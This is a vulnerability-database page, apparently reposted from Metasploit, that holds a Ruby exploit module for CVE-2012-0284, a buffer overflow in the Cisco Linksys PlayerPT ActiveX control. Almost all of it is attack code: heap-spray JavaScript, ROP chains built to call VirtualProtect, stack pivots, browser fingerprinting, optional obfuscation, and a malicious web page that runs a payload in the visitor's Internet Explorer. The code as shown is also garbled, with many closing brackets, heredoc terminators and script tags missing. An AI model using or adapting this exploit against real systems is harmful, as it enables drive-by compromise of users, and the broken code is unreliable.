发布 2012-08-03 漏洞条目

Cisco Linksys PlayerPT – ActiveX Control SetSource sURL argument Buffer Overflow (Metasploit)

Exploit Source

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::Remote::Seh

include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({

:ua_name => HttpClients::IE,

:ua_minver => "6.0",

:ua_maxver => "9.0",

:javascript => true,

:os_name => OperatingSystems::WINDOWS,

:classid => "{9E065E4A-BD9D-4547-8F90-985DC62A5591}",

:method => "SetSource",

:rank => NormalRanking

})

def initialize(info = {})

super(update_info(info,

'Name' => 'Cisco Linksys PlayerPT ActiveX Control SetSource sURL argument Buffer Overflow',

'Description' => %q{

This module exploits a vulnerability found in Cisco Linksys PlayerPT 1.0.0.15

as the installed with the web interface of Cisco Linksys WVC200 Wireless-G PTZ

Internet Video Camera. The vulnerability, due to the insecure usage of sprintf in

the SetSource method, when handling a specially crafted sURL argument, allows to

trigger a stack based buffer overflow which leads to code execution under the

context of the user visiting a malicious web page.

'Author' =>

[

'Carsten Eiram', # Vuln discovery

'juan' # Metasploit module

'License' => MSF_LICENSE,

'References' =>

[

[ 'CVE', '2012-0284' ],

[ 'BID', '54588' ],

[ 'URL', 'http://secunia.com/secunia_research/2012-25/' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload' =>

{

'Space' => 1024,

'DisableNops' => true,

'DefaultOptions' =>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[

'IE 6 on Windows XP SP3',

{

'SprayBlocks' => 0x185,

'SprayOffset' => '0x0',

'Ret' => 0x0c0c0c0c,

'Rop' => nil,

'RandomHeap' => false

}

[

'IE 7 on Windows XP SP3 / Windows Vista SP2',

{

'SprayBlocks' => 0x185,

'SprayOffset' => '0x0',

'Ret' => 0x0c0c0c0c,

'Rop' => nil,

'RandomHeap' => false

}

[

'IE 8 on Windows XP SP3',

{

'SprayBlocks' => 0x185,

'SprayOffset' => '0x0',

'Ret' => 0x77c3546b, # ret from msvcrt

'StackPivot_1' => 0x77c3546a, # pop ebp; ret from msvcrt

'StackPivot_2' => 0x77c35468, # mov esp,ebp; pop ebp; ret from msvcrt

'Rop' => :msvcrt,

'RopChainOffset' => '0x5f4',

'RandomHeap' => false

}

[

'IE 8 with Java 6 on Windows XP SP3',

{

'SprayBlocks' => 0x185,

'SprayOffset' => '0x0',

'Ret' => 0x7c3424f2, # ret from msvcr71.dll

'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll

'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll

'Rop' => :jre,

'RopChainOffset' => '0x5f4',

'RandomHeap' => false

}

[

'IE 8 with Java 6 on Windows 7 SP1/Vista SP2',

{

'SprayBlocks' => 0x185,

'SprayOffset' => '0x0',

'Ret' => 0x7c3424f2, # ret from msvcr71.dll

'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll

'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll

'Rop' => :jre,

'RopChainOffset' => '0x5f4',

'RandomHeap' => false

}

[

'IE 9 with Java 6 on Windows 7 SP1',

{

'SprayBlocks' => 0x1000,

'SprayOffset' => '0x0',

'Ret' => 0x7c3424f2, # ret from msvcr71.dll

'StackPivot_1' => 0x7c3424f1, # pop ebp; ret from msvcr71.dll

'StackPivot_2' => 0x7c3424ef, # mov esp,ebp; pop ebp; ret from msvcr71.dll

'Rop' => :jre,

'RopChainOffset' => '0x5fe',

'RandomHeap' => true,

}

]

'Privileged' => false,

'DisclosureDate' => 'Jul 17 2012',

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class

)

end

def get_easy_spray(t, js_code, js_nops)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{t['SprayOffset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var z=1; z < #{t['SprayBlocks']}; z++) {

heap_obj.alloc(block);

}

return spray

end

def get_aligned_spray(t, js_rop, js_code, js_nops, js_90_nops)

spray = <<-JS

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

var nops_90 = unescape("#{js_90_nops}");

var rop_chain = unescape("#{js_rop}");

while (nops.length < 0x80000) nops += nops;

while (nops_90.length < 0x80000) nops_90 += nops_90;

var offset = nops.substring(0, #{t['SprayOffset']});

var nops_padding = nops.substring(0, #{t['RopChainOffset']}-code.length-offset.length);

var shellcode = offset + code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var z=1; z < #{t['SprayBlocks']}; z++) {

heap_obj.alloc(block);

}

return spray

end

# Spray published by corelanc0d3r

# Exploit writing tutorial part 11 : Heap Spraying Demystified

# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

def get_random_spray(t, js_rop, js_code, js_90_nops)

spray = <<-JS

function randomblock(blocksize)

{

var theblock = "";

for (var i = 0; i < blocksize; i++)

{

theblock += Math.floor(Math.random()*90)+10;

}

return theblock;

}

function tounescape(block)

{

var blocklen = block.length;

var unescapestr = "";

for (var i = 0; i < blocklen-1; i=i+4)

{

unescapestr += "%u" + block.substring(i,i+4);

}

return unescapestr;

}

var heap_obj = new heapLib.ie(0x10000);

var rop = unescape("#{js_rop}");

var code = unescape("#{js_code}");

var nops_90 = unescape("#{js_90_nops}");

while (nops_90.length < 0x80000) nops_90 += nops_90;

var offset_length = #{t['RopChainOffset']};

for (var i=0; i < #{t['SprayBlocks']}; i++) {

var padding = unescape(tounescape(randomblock(0x1000)));

while (padding.length < 0x1000) padding+= padding;

var junk_offset = padding.substring(0, offset_length - code.length);

var single_sprayblock = code + junk_offset + rop + nops_90.substring(0, 0x800 - code.length - junk_offset.length - rop.length);

while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;

sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);

heap_obj.alloc(sprayblock);

}

return spray

end

def junk(n=4)

return rand_text_alpha(n).unpack("V").first

end

def nop

return make_nops(4).unpack("V").first

end

def get_stack_pivot(t)

stack_pivot = [

junk,

t['StackPivot_1'], # pop ebp # ret # ESP points here after controlling EIP with overflow

0x0c0c0c08, # ebp

t['StackPivot_2'] # mov esp,ebp # pop ebp # ret

].pack("V*")

return stack_pivot

end

def get_rop_chain(t)

# Both ROP chains generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

rop =

[

0x77C21891, # POP ESI # RETN

0x0c0c0c04, # ESI

0x77c4e392, # POP EAX # RETN

0x77c11120, # <- *&VirtualProtect()

0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN

junk,

0x77c2dd6c, # XCHG EAX,ESI # ADD BYTE PTR [EAX],AL # RETN

0x77c4ec00, # POP EBP # RETN

0x77c35459, # ptr to 'push esp # ret'

0x77c47705, # POP EBX # RETN

0x00001000, # EBX

0x77c3ea01, # POP ECX # RETN

0x77c5d000, # W pointer (lpOldProtect) (-> ecx)

0x77c46100, # POP EDI # RETN

0x77c46101, # ROP NOP (-> edi)

0x77c4d680, # POP EDX # RETN

0x00000040, # newProtect (0x40) (-> edx)

0x77c4e392, # POP EAX # RETN

nop, # NOPS (-> eax)

0x77c12df9, # PUSHAD # RETN

].pack("V*")

when :jre

print_status("Using JRE ROP")

rop =

[

0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN

0x00001000, # (dwSize)

0x7c347f98, # RETN (ROP NOP)

0x7c3415a2, # JMP [EAX]

0xffffffff,

0x7c376402, # skip 4 bytes

0x7c345255, # INC EBX # FPATAN # RETN

0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN

0x7c344f87, # POP EDX # RETN

0x00000040, # flNewProtect

0x7c34d201, # POP ECX # RETN

0x7c38b001, # &Writable location

0x7c347f97, # POP EAX # RETN

0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]

0x7c378c81, # PUSHAD # ADD AL,0EF # RETN

0x7c345c30, # ptr to 'push esp # ret '

].pack("V*")

end

return rop

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/

return targets[1] #IE 6 on Windows XP SP3

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/

return targets[2] #IE 7 on Windows XP SP3

elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/

return targets[2] #IE 7 on Windows Vista SP2

elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/

return targets[3] #IE 8 on Windows XP SP3

elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/

return targets[5] #IE 8 on Windows 7 SP1/Vista SP2

elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/

return targets[6] #IE 9 on Windows 7 SP1

else

return nil

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

print_status("User-agent: #{agent}")

my_target = get_target(agent)

# Avoid the attack if the victim doesn't have a setup we're targeting

if my_target.nil?

print_error("Browser not supported: #{agent}")

send_not_found(cli)

return

end

p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))

js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

if not my_target['Rop'].nil?

js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))

end

js = ""

if my_target['RandomHeap']

js = get_random_spray(my_target, js_rop, js_code, js_90_nops)

elsif not my_target['Rop'].nil?

js = get_aligned_spray(my_target, js_rop, js_code, js_nops, js_90_nops)

else

js = get_easy_spray(my_target, js_code, js_nops)

end

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

sploit = "http://"

sploit << "\x0c" * 261

sploit << [my_target.ret].pack("V")

if not my_target['Rop'].nil?

sploit << get_stack_pivot(my_target)

end

sploit << "/img/video.asf"

html = <<-MYHTML

<html>

<head>

#{js}

</script>

</head>

<body>

obj.SetSource("#{sploit}","mpeg","","","");

</script>

</body>

</html>

MYHTML

html = html.gsub(/^\t\t/, '')

print_status("Sending html")

send_response(cli, html, {'Content-Type'=>'text/html'})

end

作者: Metasploit
日期: 2012-08-03
类别: remote
平台: windows

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